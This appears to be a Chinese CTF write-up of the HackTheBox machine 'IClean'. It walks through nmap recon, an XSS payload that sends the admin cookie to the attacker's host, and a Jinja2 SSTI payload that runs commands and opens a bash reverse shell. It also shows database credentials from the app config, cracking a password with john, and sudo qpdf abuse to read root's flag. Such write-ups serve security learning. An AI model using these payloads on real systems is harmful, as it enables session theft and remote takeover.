0%

IClean

XSS跨站脚本攻击、SSTI模板注入

IClean

信息搜集

nmap扫描一下

1
nmap -sV -v 10.10.11.12 -Pn

扫描结果

1
2
3
4
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问80端口,发现跳转到capiclean.htb,添加下/etc/hosts

扫描目录,可以发现/dashboard路由可以,应该是经过身份验证跳转到/

1
2
3
4
5
6
7
[22:00:12] 200 -    2KB - /about                                            
[22:01:03] 302 - 189B - /dashboard -> /
[22:01:34] 200 - 711B - /login
[22:01:35] 302 - 189B - /logout -> /
[22:02:15] 403 - 278B - /server-status/
[22:02:16] 403 - 278B - /server-status
[22:02:17] 200 - 8KB - /services

我们在/choose路由下点击get a quote

勾选上去抓包,测试各个参数是否存在注入

在service参数成功测试出存在xss注入

(xss注入的payload均url编码过)

1
<img src=http://10.10.14.54/>

我们尝试读取下管理员cookie

1
<img src=x onerror=fetch('http://10.10.14.54/'+document.cookie);>

得到cookie后我们来验证一下,使用cookie成功访问/dashboard

我们按照Generate Invoice => Generate QR顺序

先生成Invoice ID generated: 1223131481,然后在第二步输入ID后点击Genrate会生成下面的QR Code Link

我们抓包看看,注意到qr_link的值出现在img标签中

经过测试该参数存在SSTI模板注入

回显49应该就是Jinja2,直接payload测试一下(__直接unicode编码一下)

1
{{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

直接反弹shell(注意bash命令URL编码一下)

1
{{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("bash -c 'bash -i >& /dev/tcp/1010.14.54/1028 0>&1'")|attr("read")()}}

先提升下shell权限

然后在/opt/app/app.py找到数据库信息

1
2
3
4
5
6
7
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}

直接本地连接数据库mysql -u iclean -p -h localhost,找到consuela的密码

先识别一下是什么加密,然后john爆破记得加上format

拿到密码simple and clean后直接ssh连接就行

1
ssh consuela@10.10.11.12

拿到user的flag

然后我们sudo -l查看下可用的命令

用strings命令查看发现内容存在--help参数,网上搜索发现qpdf是一个内容转换工具,有对应的使用文档

我们可以利用其参数读取root的flag(注意要在tmp目录下才能下载root.txt)